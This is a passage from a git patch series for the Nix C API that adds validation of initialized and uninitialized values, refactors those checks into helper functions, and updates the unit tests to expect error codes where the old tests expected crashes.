         auto & v = check_value_not_null(value);
+        check_value_initialized(v);
         assert(v.type() == nix::nAttrs);
         nix::Symbol s = state->state.symbols.create(name);
         auto attr = v.attrs()->get(s);
@@ -299,6 +325,7 @@ bool nix_has_attr_byname(nix_c_context * context, const Value * value, EvalState
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_initialized(v);
         assert(v.type() == nix::nAttrs);
         nix::Symbol s = state->state.symbols.create(name);
         auto attr = v.attrs()->get(s);
@@ -316,6 +343,7 @@ nix_get_attr_byidx(nix_c_context * context, const Value * value, EvalState * sta
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_initialized(v);
         const nix::Attr & a = (*v.attrs())[i];
         *name = ((const std::string &) (state->state.symbols[a.name])).c_str();
         nix_gc_incref(nullptr, a.value);
@@ -331,6 +359,7 @@ const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * valu
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_initialized(v);
         const nix::Attr & a = (*v.attrs())[i];
         return ((const std::string &) (state->state.symbols[a.name])).c_str();
     }
@@ -343,6 +372,7 @@ nix_err nix_init_bool(nix_c_context * context, Value * value, bool b)
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_uninitialized(v);
         v.mkBool(b);
     }
     NIXC_CATCH_ERRS
@@ -355,6 +385,7 @@ nix_err nix_init_string(nix_c_context * context, Value * value, const char * str
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_uninitialized(v);
         v.mkString(std::string_view(str));
     }
     NIXC_CATCH_ERRS
@@ -366,6 +397,7 @@ nix_err nix_init_path_string(nix_c_context * context, EvalState * s, Value * val
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_uninitialized(v);
         v.mkPath(s->state.rootPath(nix::CanonPath(str)));
     }
     NIXC_CATCH_ERRS
@@ -377,6 +409,7 @@ nix_err nix_init_float(nix_c_context * context, Value * value, double d)
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_uninitialized(v);
         v.mkFloat(d);
     }
     NIXC_CATCH_ERRS
@@ -388,6 +421,7 @@ nix_err nix_init_int(nix_c_context * context, Value * value, int64_t i)
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_uninitialized(v);
         v.mkInt(i);
     }
     NIXC_CATCH_ERRS
@@ -399,6 +433,7 @@ nix_err nix_init_null(nix_c_context * context, Value * value)
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_uninitialized(v);
         v.mkNull();
     }
     NIXC_CATCH_ERRS
@@ -423,6 +458,7 @@ nix_err nix_init_external(nix_c_context * context, Value * value, ExternalValue
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_uninitialized(v);
         auto r = (nix::ExternalValueBase *) val;
         v.mkExternal(r);
     }
@@ -450,6 +486,7 @@ nix_err nix_list_builder_insert(nix_c_context * context, ListBuilder * list_buil
         context->last_err_code = NIX_OK;
     try {
         auto & e = check_value_not_null(value);
+        check_value_initialized(e);
         list_builder->builder[index] = &e;
     }
     NIXC_CATCH_ERRS
@@ -470,6 +507,7 @@ nix_err nix_make_list(nix_c_context * context, ListBuilder * list_builder, Value
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_uninitialized(v);
         v.mkList(list_builder->builder);
     }
     NIXC_CATCH_ERRS
@@ -481,6 +519,7 @@ nix_err nix_init_primop(nix_c_context * context, Value * value, PrimOp * p)
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_uninitialized(v);
         v.mkPrimOp((nix::PrimOp *) p);
     }
     NIXC_CATCH_ERRS
@@ -492,7 +531,9 @@ nix_err nix_copy_value(nix_c_context * context, Value * value, Value * source)
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_uninitialized(v);
         auto & s = check_value_not_null(source);
+        check_value_initialized(s);
         v = s;
     }
     NIXC_CATCH_ERRS
@@ -504,6 +545,7 @@ nix_err nix_make_attrs(nix_c_context * context, Value * value, BindingsBuilder *
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_uninitialized(v);
         v.mkAttrs(b->builder);
     }
     NIXC_CATCH_ERRS
@@ -530,6 +572,7 @@ nix_err nix_bindings_builder_insert(nix_c_context * context, BindingsBuilder * b
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_initialized(v);
         nix::Symbol s = bb->builder.state.symbols.create(name);
         bb->builder.insert(s, &v);
     }
@@ -551,6 +594,7 @@ nix_realised_string * nix_string_realise(nix_c_context * context, EvalState * st
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
+        check_value_initialized(v);
         nix::NixStringContext stringContext;
         auto rawStr = state->state.coerceToString(nix::noPos, v, stringContext, "while realising a string").toOwned();
         nix::StorePathSet storePaths;
diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc
index ac0cdb9c449..9e922f8c70e 100644
--- a/tests/unit/libexpr/nix_api_value.cc
+++ b/tests/unit/libexpr/nix_api_value.cc
@@ -14,11 +14,16 @@
 
 namespace nixC {
 
-TEST_F(nix_api_expr_test, nix_value_set_get_int)
+TEST_F(nix_api_expr_test, nix_value_get_int_invalid)
 {
     ASSERT_EQ(0, nix_get_int(ctx, nullptr));
-    ASSERT_DEATH(nix_get_int(ctx, value), "");
+    assert_ctx_err();
+    ASSERT_EQ(0, nix_get_int(ctx, value));
+    assert_ctx_err();
+}
 
+TEST_F(nix_api_expr_test, nix_value_set_get_int)
+{
     int myInt = 1;
     nix_init_int(ctx, value, myInt);
 
@@ -27,11 +32,16 @@ TEST_F(nix_api_expr_test, nix_value_set_get_int)
     ASSERT_EQ(NIX_TYPE_INT, nix_get_type(ctx, value));
 }
 
-TEST_F(nix_api_expr_test, nix_value_set_get_float)
+TEST_F(nix_api_expr_test, nix_value_set_get_float_invalid)
 {
     ASSERT_FLOAT_EQ(0.0, nix_get_float(ctx, nullptr));
-    ASSERT_DEATH(nix_get_float(ctx, value), "");
+    assert_ctx_err();
+    ASSERT_FLOAT_EQ(0.0, nix_get_float(ctx, value));
+    assert_ctx_err();
+}
 
+TEST_F(nix_api_expr_test, nix_value_set_get_float)
+{
     float myDouble = 1.0;
     nix_init_float(ctx, value, myDouble);
 
@@ -40,11 +50,16 @@ TEST_F(nix_api_expr_test, nix_value_set_get_float)
     ASSERT_EQ(NIX_TYPE_FLOAT, nix_get_type(ctx, value));
 }
 
-TEST_F(nix_api_expr_test, nix_value_set_get_bool)
+TEST_F(nix_api_expr_test, nix_value_set_get_bool_invalid)
 {
     ASSERT_EQ(false, nix_get_bool(ctx, nullptr));
-    ASSERT_DEATH(nix_get_bool(ctx, value), "");
+    assert_ctx_err();
+    ASSERT_EQ(false, nix_get_bool(ctx, value));
+    assert_ctx_err();
+}
 
+TEST_F(nix_api_expr_test, nix_value_set_get_bool)
+{
     bool myBool = true;
     nix_init_bool(ctx, value, myBool);
 
@@ -53,12 +68,18 @@ TEST_F(nix_api_expr_test, nix_value_set_get_bool)
     ASSERT_EQ(NIX_TYPE_BOOL, nix_get_type(ctx, value));
 }
 
-TEST_F(nix_api_expr_test, nix_value_set_get_string)
+TEST_F(nix_api_expr_test, nix_value_set_get_string_invalid)
 {
     std::string string_value;
     ASSERT_EQ(NIX_ERR_UNKNOWN, nix_get_string(ctx, nullptr, OBSERVE_STRING(string_value)));
-    ASSERT_DEATH(nix_get_string(ctx, value, OBSERVE_STRING(string_value)), "");
+    assert_ctx_err();
+    ASSERT_EQ(NIX_ERR_UNKNOWN, nix_get_string(ctx, value, OBSERVE_STRING(string_value)));
+    assert_ctx_err();
+}
 
+TEST_F(nix_api_expr_test, nix_value_set_get_string)
+{
+    std::string string_value;
     const char * myString = "some string";
     nix_init_string(ctx, value, myString);
 
@@ -68,21 +89,29 @@ TEST_F(nix_api_expr_test, nix_value_set_get_string)
     ASSERT_EQ(NIX_TYPE_STRING, nix_get_type(ctx, value));
 }
 
-TEST_F(nix_api_expr_test, nix_value_set_get_null)
+TEST_F(nix_api_expr_test, nix_value_set_get_null_invalid)
 {
-    ASSERT_DEATH(nix_get_typename(ctx, value), "");
+    ASSERT_EQ(NULL, nix_get_typename(ctx, value));
+    assert_ctx_err();
+}
 
+TEST_F(nix_api_expr_test, nix_value_set_get_null)
+{
     nix_init_null(ctx, value);
 
     ASSERT_STREQ("null", nix_get_typename(ctx, value));
     ASSERT_EQ(NIX_TYPE_NULL, nix_get_type(ctx, value));
 }
 
-TEST_F(nix_api_expr_test, nix_value_set_get_path)
+TEST_F(nix_api_expr_test, nix_value_set_get_path_invalid)
 {
     ASSERT_EQ(nullptr, nix_get_path_string(ctx, nullptr));
-    ASSERT_DEATH(nix_get_path_string(ctx, value), "");
-
+    assert_ctx_err();
+    ASSERT_EQ(nullptr, nix_get_path_string(ctx, value));
+    assert_ctx_err();
+}
+TEST_F(nix_api_expr_test, nix_value_set_get_path)
+{
     const char * p = "/nix/store/40s0qmrfb45vlh6610rk29ym318dswdr-myname";
     nix_init_path_string(ctx, state, value, p);
 
@@ -91,14 +120,21 @@ TEST_F(nix_api_expr_test, nix_value_set_get_path)
     ASSERT_EQ(NIX_TYPE_PATH, nix_get_type(ctx, value));
 }
 
-TEST_F(nix_api_expr_test, nix_build_and_init_list)
+TEST_F(nix_api_expr_test, nix_build_and_init_list_invalid)
 {
     ASSERT_EQ(nullptr, nix_get_list_byidx(ctx, nullptr, state, 0));
+    assert_ctx_err();
     ASSERT_EQ(0, nix_get_list_size(ctx, nullptr));
+    assert_ctx_err();
 
-    ASSERT_DEATH(nix_get_list_byidx(ctx, value, state, 0), "");
-    ASSERT_DEATH(nix_get_list_size(ctx, value), "");
+    ASSERT_EQ(nullptr, nix_get_list_byidx(ctx, value, state, 0));
+    assert_ctx_err();
+    ASSERT_EQ(0, nix_get_list_size(ctx, value));
+    assert_ctx_err();
+}
 
+TEST_F(nix_api_expr_test, nix_build_and_init_list)
+{
     int size = 10;
     ListBuilder * builder = nix_make_list_builder(ctx, state, size);
 
@@ -119,20 +155,33 @@ TEST_F(nix_api_expr_test, nix_build_and_init_list)
     nix_gc_decref(ctx, intValue);
 }
 
-TEST_F(nix_api_expr_test, nix_build_and_init_attr)
+TEST_F(nix_api_expr_test, nix_build_and_init_attr_invalid)
 {
     ASSERT_EQ(nullptr, nix_get_attr_byname(ctx, nullptr, state, 0));
+    assert_ctx_err();
     ASSERT_EQ(nullptr, nix_get_attr_byidx(ctx, nullptr, state, 0, nullptr));
+    assert_ctx_err();
     ASSERT_EQ(nullptr, nix_get_attr_name_byidx(ctx, nullptr, state, 0));
+    assert_ctx_err();
     ASSERT_EQ(0, nix_get_attrs_size(ctx, nullptr));
+    assert_ctx_err();
     ASSERT_EQ(false, nix_has_attr_byname(ctx, nullptr, state, "no-value"));
+    assert_ctx_err();
+
+    ASSERT_EQ(nullptr, nix_get_attr_byname(ctx, value, state, 0));
+    assert_ctx_err();
+    ASSERT_EQ(nullptr, nix_get_attr_byidx(ctx, value, state, 0, nullptr));
+    assert_ctx_err();
+    ASSERT_EQ(nullptr, nix_get_attr_name_byidx(ctx, value, state, 0));
+    assert_ctx_err();
+    ASSERT_EQ(0, nix_get_attrs_size(ctx, value));
+    assert_ctx_err();
+    ASSERT_EQ(false, nix_has_attr_byname(ctx, value, state, "no-value"));
+    assert_ctx_err();
+}
 
-    ASSERT_DEATH(nix_get_attr_byname(ctx, value, state, 0), "");
-    ASSERT_DEATH(nix_get_attr_byidx(ctx, value, state, 0, nullptr), "");
-    ASSERT_DEATH(nix_get_attr_name_byidx(ctx, value, state, 0), "");
-    ASSERT_DEATH(nix_get_attrs_size(ctx, value), "");
-    ASSERT_DEATH(nix_has_attr_byname(ctx, value, state, "no-value"), "");
-
+TEST_F(nix_api_expr_test, nix_build_and_init_attr)
+{
     int size = 10;
     const char ** out_name = (const char **) malloc(sizeof(char *));
 
diff --git a/tests/unit/libutil-support/tests/nix_api_util.hh b/tests/unit/libutil-support/tests/nix_api_util.hh
index 75d302bd6d8..efd2001167d 100644
--- a/tests/unit/libutil-support/tests/nix_api_util.hh
+++ b/tests/unit/libutil-support/tests/nix_api_util.hh
@@ -24,7 +24,9 @@ protected:
 
     nix_c_context * ctx;
 
-    inline void assert_ctx_ok() {
+    inline void assert_ctx_ok()
+    {
+
         if (nix_err_code(ctx) == NIX_OK) {
             return;
         }
@@ -33,5 +35,14 @@ protected:
         std::string msg(p, n);
         FAIL() << "nix_err_code(ctx) != NIX_OK, message: " << msg;
     }
+
+    inline void assert_ctx_err()
+    {
+        if (nix_err_code(ctx) != NIX_OK) {
+            return;
+        }
+        FAIL() << "Got NIX_OK, but expected an error!";
+    }
 };
+
 }

From ff76dd2211d0acddc82a35bb0b1a884323c2a3cd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= <jl@lafuente.dev>
Date: Sun, 21 Apr 2024 20:24:56 +0200
Subject: [PATCH 044/528] C API: fix test, nix float is a double internally

---
 tests/unit/libexpr/nix_api_value.cc | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc
index 9e922f8c70e..7c8e82c50af 100644
--- a/tests/unit/libexpr/nix_api_value.cc
+++ b/tests/unit/libexpr/nix_api_value.cc
@@ -34,18 +34,18 @@ TEST_F(nix_api_expr_test, nix_value_set_get_int)
 
 TEST_F(nix_api_expr_test, nix_value_set_get_float_invalid)
 {
-    ASSERT_FLOAT_EQ(0.0, nix_get_float(ctx, nullptr));
+    ASSERT_DOUBLE_EQ(0.0, nix_get_float(ctx, nullptr));
     assert_ctx_err();
-    ASSERT_FLOAT_EQ(0.0, nix_get_float(ctx, value));
+    ASSERT_DOUBLE_EQ(0.0, nix_get_float(ctx, value));
     assert_ctx_err();
 }
 
 TEST_F(nix_api_expr_test, nix_value_set_get_float)
 {
-    float myDouble = 1.0;
+    double myDouble = 1.0;
     nix_init_float(ctx, value, myDouble);
 
-    ASSERT_FLOAT_EQ(myDouble, nix_get_float(ctx, value));
+    ASSERT_DOUBLE_EQ(myDouble, nix_get_float(ctx, value));
     ASSERT_STREQ("a float", nix_get_typename(ctx, value));
     ASSERT_EQ(NIX_TYPE_FLOAT, nix_get_type(ctx, value));
 }

From 8d70db3251f68597f332de1bffcc3f716ff30450 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= <jl@lafuente.dev>
Date: Sun, 21 Apr 2024 22:13:26 +0200
Subject: [PATCH 045/528] C API: add check_value_[in,out] helper functions

---
 src/libexpr-c/nix_api_value.cc      | 109 ++++++++++++----------------
 tests/unit/libexpr/nix_api_value.cc |   9 ++-
 2 files changed, 54 insertions(+), 64 deletions(-)

diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc
index a3686022d91..0d61292c47d 100644
--- a/src/libexpr-c/nix_api_value.cc
+++ b/src/libexpr-c/nix_api_value.cc
@@ -20,7 +20,7 @@
 #  include "gc_cpp.h"
 #endif
 
-// Helper function to throw an exception if value is null or in an invalid state
+// Internal helper functions to check [in] and [out] `Value *` parameters
 static const nix::Value & check_value_not_null(const Value * value)
 {
     if (!value) {
@@ -37,18 +37,31 @@ static nix::Value & check_value_not_null(Value * value)
     return *((nix::Value *) value);
 }
 
-static void check_value_initialized(const nix::Value & value)
+static const nix::Value & check_value_in(const Value * value)
 {
-    if (!value.isValid()) {
+    auto & v = check_value_not_null(value);
+    if (!v.isValid()) {
         throw std::runtime_error("Uninitialized Value");
     }
+    return v;
 }
 
-static void check_value_uninitialized(const nix::Value & value)
+static nix::Value & check_value_in(Value * value)
 {
-    if (value.isValid()) {
+    auto & v = check_value_not_null(value);
+    if (!v.isValid()) {
+        throw std::runtime_error("Uninitialized Value");
+    }
+    return v;
+}
+
+static nix::Value & check_value_out(Value * value)
+{
+    auto & v = check_value_not_null(value);
+    if (v.isValid()) {
         throw std::runtime_error("Value already initialized. Variables are immutable");
     }
+    return v;
 }
 
 /**
@@ -125,8 +138,7 @@ ValueType nix_get_type(nix_c_context * context, const Value * value)
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_initialized(v);
+        auto & v = check_value_in(value);
         using namespace nix;
         switch (v.type()) {
         case nThunk:
@@ -162,8 +174,7 @@ const char * nix_get_typename(nix_c_context * context, const Value * value)
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_initialized(v);
+        auto & v = check_value_in(value);
         auto s = nix::showType(v);
         return strdup(s.c_str());
     }
@@ -175,8 +186,7 @@ bool nix_get_bool(nix_c_context * context, const Value * value)
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_initialized(v);
+        auto & v = check_value_in(value);
         assert(v.type() == nix::nBool);
         return v.boolean();
     }
@@ -188,8 +198,7 @@ nix_err nix_get_string(nix_c_context * context, const Value * value, nix_get_str
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_initialized(v);
+        auto & v = check_value_in(value);
         assert(v.type() == nix::nString);
         call_nix_get_string_callback(v.c_str(), callback, user_data);
     }
@@ -201,8 +210,7 @@ const char * nix_get_path_string(nix_c_context * context, const Value * value)
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_initialized(v);
+        auto & v = check_value_in(value);
         assert(v.type() == nix::nPath);
         // NOTE (from @yorickvP)
         // v._path.path should work but may not be how Eelco intended it.
@@ -221,8 +229,7 @@ unsigned int nix_get_list_size(nix_c_context * context, const Value * value)
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_initialized(v);
+        auto & v = check_value_in(value);
         assert(v.type() == nix::nList);
         return v.listSize();
     }
@@ -234,8 +241,7 @@ unsigned int nix_get_attrs_size(nix_c_context * context, const Value * value)
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_initialized(v);
+        auto & v = check_value_in(value);
         assert(v.type() == nix::nAttrs);
         return v.attrs()->size();
     }
@@ -247,8 +253,7 @@ double nix_get_float(nix_c_context * context, const Value * value)
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_initialized(v);
+        auto & v = check_value_in(value);
         assert(v.type() == nix::nFloat);
         return v.fpoint();
     }
@@ -260,8 +265,7 @@ int64_t nix_get_int(nix_c_context * context, const Value * value)
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_initialized(v);
+        auto & v = check_value_in(value);
         assert(v.type() == nix::nInt);
         return v.integer();
     }
@@ -273,8 +277,7 @@ ExternalValue * nix_get_external(nix_c_context * context, Value * value)
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_initialized(v);
+        auto & v = check_value_out(value);
         assert(v.type() == nix::nExternal);
         return (ExternalValue *) v.external();
     }
@@ -286,8 +289,7 @@ Value * nix_get_list_byidx(nix_c_context * context, const Value * value, EvalSta
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_initialized(v);
+        auto & v = check_value_in(value);
         assert(v.type() == nix::nList);
         auto * p = v.listElems()[ix];
         nix_gc_incref(nullptr, p);
@@ -303,8 +305,7 @@ Value * nix_get_attr_byname(nix_c_context * context, const Value * value, EvalSt
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_initialized(v);
+        auto & v = check_value_in(value);
         assert(v.type() == nix::nAttrs);
         nix::Symbol s = state->state.symbols.create(name);
         auto attr = v.attrs()->get(s);
@@ -324,8 +325,7 @@ bool nix_has_attr_byname(nix_c_context * context, const Value * value, EvalState
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_initialized(v);
+        auto & v = check_value_in(value);
         assert(v.type() == nix::nAttrs);
         nix::Symbol s = state->state.symbols.create(name);
         auto attr = v.attrs()->get(s);
@@ -342,8 +342,7 @@ nix_get_attr_byidx(nix_c_context * context, const Value * value, EvalState * sta
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_initialized(v);
+        auto & v = check_value_in(value);
         const nix::Attr & a = (*v.attrs())[i];
         *name = ((const std::string &) (state->state.symbols[a.name])).c_str();
         nix_gc_incref(nullptr, a.value);
@@ -358,8 +357,7 @@ const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * valu
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_initialized(v);
+        auto & v = check_value_in(value);
         const nix::Attr & a = (*v.attrs())[i];
         return ((const std::string &) (state->state.symbols[a.name])).c_str();
     }
@@ -371,8 +369,7 @@ nix_err nix_init_bool(nix_c_context * context, Value * value, bool b)
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_uninitialized(v);
+        auto & v = check_value_out(value);
         v.mkBool(b);
     }
     NIXC_CATCH_ERRS
@@ -384,8 +381,7 @@ nix_err nix_init_string(nix_c_context * context, Value * value, const char * str
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_uninitialized(v);
+        auto & v = check_value_out(value);
         v.mkString(std::string_view(str));
     }
     NIXC_CATCH_ERRS
@@ -396,8 +392,7 @@ nix_err nix_init_path_string(nix_c_context * context, EvalState * s, Value * val
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_uninitialized(v);
+        auto & v = check_value_out(value);
         v.mkPath(s->state.rootPath(nix::CanonPath(str)));
     }
     NIXC_CATCH_ERRS
@@ -408,8 +403,7 @@ nix_err nix_init_float(nix_c_context * context, Value * value, double d)
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_uninitialized(v);
+        auto & v = check_value_out(value);
         v.mkFloat(d);
     }
     NIXC_CATCH_ERRS
@@ -420,8 +414,7 @@ nix_err nix_init_int(nix_c_context * context, Value * value, int64_t i)
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_uninitialized(v);
+        auto & v = check_value_out(value);
         v.mkInt(i);
     }
     NIXC_CATCH_ERRS
@@ -432,8 +425,7 @@ nix_err nix_init_null(nix_c_context * context, Value * value)
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_uninitialized(v);
+        auto & v = check_value_out(value);
         v.mkNull();
     }
     NIXC_CATCH_ERRS
@@ -457,8 +449,7 @@ nix_err nix_init_external(nix_c_context * context, Value * value, ExternalValue
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_uninitialized(v);
+        auto & v = check_value_out(value);
         auto r = (nix::ExternalValueBase *) val;
         v.mkExternal(r);
     }
@@ -486,7 +477,6 @@ nix_err nix_list_builder_insert(nix_c_context * context, ListBuilder * list_buil
         context->last_err_code = NIX_OK;
     try {
         auto & e = check_value_not_null(value);
-        check_value_initialized(e);
         list_builder->builder[index] = &e;
     }
     NIXC_CATCH_ERRS
@@ -506,8 +496,7 @@ nix_err nix_make_list(nix_c_context * context, ListBuilder * list_builder, Value
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_uninitialized(v);
+        auto & v = check_value_out(value);
         v.mkList(list_builder->builder);
     }
     NIXC_CATCH_ERRS
@@ -518,8 +507,7 @@ nix_err nix_init_primop(nix_c_context * context, Value * value, PrimOp * p)
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_uninitialized(v);
+        auto & v = check_value_out(value);
         v.mkPrimOp((nix::PrimOp *) p);
     }
     NIXC_CATCH_ERRS
@@ -530,10 +518,8 @@ nix_err nix_copy_value(nix_c_context * context, Value * value, Value * source)
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_uninitialized(v);
-        auto & s = check_value_not_null(source);
-        check_value_initialized(s);
+        auto & v = check_value_out(value);
+        auto & s = check_value_in(source);
         v = s;
     }
     NIXC_CATCH_ERRS
@@ -544,8 +530,7 @@ nix_err nix_make_attrs(nix_c_context * context, Value * value, BindingsBuilder *
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_uninitialized(v);
+        auto & v = check_value_out(value);
         v.mkAttrs(b->builder);
     }
     NIXC_CATCH_ERRS
@@ -572,7 +557,6 @@ nix_err nix_bindings_builder_insert(nix_c_context * context, BindingsBuilder * b
         context->last_err_code = NIX_OK;
     try {
         auto & v = check_value_not_null(value);
-        check_value_initialized(v);
         nix::Symbol s = bb->builder.state.symbols.create(name);
         bb->builder.insert(s, &v);
     }
@@ -593,8 +577,7 @@ nix_realised_string * nix_string_realise(nix_c_context * context, EvalState * st
     if (context)
         context->last_err_code = NIX_OK;
     try {
-        auto & v = check_value_not_null(value);
-        check_value_initialized(v);
+        auto & v = check_value_in(value);
         nix::NixStringContext stringContext;
         auto rawStr = state->state.coerceToString(nix::noPos, v, stringContext, "while realising a string").toOwned();
         nix::StorePathSet storePaths;
diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc
index 7c8e82c50af..6e209695e49 100644
--- a/tests/unit/libexpr/nix_api_value.cc
+++ b/tests/unit/libexpr/nix_api_value.cc
@@ -139,13 +139,20 @@ TEST_F(nix_api_expr_test, nix_build_and_init_list)
     ListBuilder * builder = nix_make_list_builder(ctx, state, size);
 
     Value * intValue = nix_alloc_value(ctx, state);
+    Value * intValue2 = nix_alloc_value(ctx, state);
+
+    // `init` and `insert` can be called in any order
     nix_init_int(ctx, intValue, 42);
     nix_list_builder_insert(ctx, builder, 0, intValue);
+    nix_list_builder_insert(ctx, builder, 1, intValue2);
+    nix_init_int(ctx, intValue2, 43);
+
     nix_make_list(ctx, builder, value);
     nix_list_builder_free(builder);
 
     ASSERT_EQ(42, nix_get_int(ctx, nix_get_list_byidx(ctx, value, state, 0)));
-    ASSERT_EQ(nullptr, nix_get_list_byidx(ctx, value, state, 1));
+    ASSERT_EQ(43, nix_get_int(ctx, nix_get_list_byidx(ctx, value, state, 1)));
+    ASSERT_EQ(nullptr, nix_get_list_byidx(ctx, value, state, 2));
     ASSERT_EQ(10, nix_get_list_size(ctx, value));
 
     ASSERT_STREQ("a list", nix_get_typename(ctx, value));

From 6acf02b32a12c9db052c9ca24a238882f12f10a9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jos=C3=A9=20Luis=20Lafuente?= <jl@lafuente.dev>
Date: Sun, 21 Apr 2024 22:15:12 +0200
Subject: [PATCH 046/528] C API: source argument to nix_copy_value should be
 const

---
 src/libexpr-c/nix_api_value.cc      |  2 +-
 src/libexpr-c/nix_api_value.h       |  2 +-
 tests/unit/libexpr/nix_api_value.cc | 13 +++++++++++++
 3 files changed, 15 insertions(+), 2 deletions(-)

diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc
index 0d61292c47d..0366e502008 100644
--- a/src/libexpr-c/nix_api_value.cc
+++ b/src/libexpr-c/nix_api_value.cc
@@ -513,7 +513,7 @@ nix_err nix_init_primop(nix_c_context * context, Value * value, PrimOp * p)
     NIXC_CATCH_ERRS
 }
 
-nix_err nix_copy_value(nix_c_context * context, Value * value, Value * source)
+nix_err nix_copy_value(nix_c_context * context, Value * value, const Value * source)
 {
     if (context)
         context->last_err_code = NIX_OK;
diff --git a/src/libexpr-c/nix_api_value.h b/src/libexpr-c/nix_api_value.h
index d8bd77c33c9..b2b3439ef3e 100644
--- a/src/libexpr-c/nix_api_value.h
+++ b/src/libexpr-c/nix_api_value.h
@@ -422,7 +422,7 @@ nix_err nix_init_primop(nix_c_context * context, Value * value, PrimOp * op);
  * @param[in] source value to copy from
  * @return error code, NIX_OK on success.
  */
-nix_err nix_copy_value(nix_c_context * context, Value * value, Value * source);
+nix_err nix_copy_value(nix_c_context * context, Value * value, const Value * source);
 /**@}*/
 
 /** @brief Create a bindings builder
diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc
index 6e209695e49..6e1131e10f8 100644
--- a/tests/unit/libexpr/nix_api_value.cc
+++ b/tests/unit/libexpr/nix_api_value.cc
@@ -367,4 +367,17 @@ TEST_F(nix_api_expr_test, nix_value_init_apply_lazy_arg)
     nix_gc_decref(ctx, e);
 }
 
+TEST_F(nix_api_expr_test, nix_copy_value)
+{
+    Value * source = nix_alloc_value(ctx, state);
+
+    nix_init_int(ctx, source, 42);
+    nix_copy_value(ctx, value, source);
+
+    ASSERT_EQ(42, nix_get_int(ctx, value));
+
+    // Clean up
+    nix_gc_decref(ctx, source);
+}
+
 }

From 16669ae4457607728dff2c3974fa825ba745d44e Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Mon, 22 Apr 2024 11:00:09 +0200
Subject: [PATCH 047/528] Update doc/manual/src/installation/uninstall.md

---
 doc/manual/src/installation/uninstall.md | 2 +-
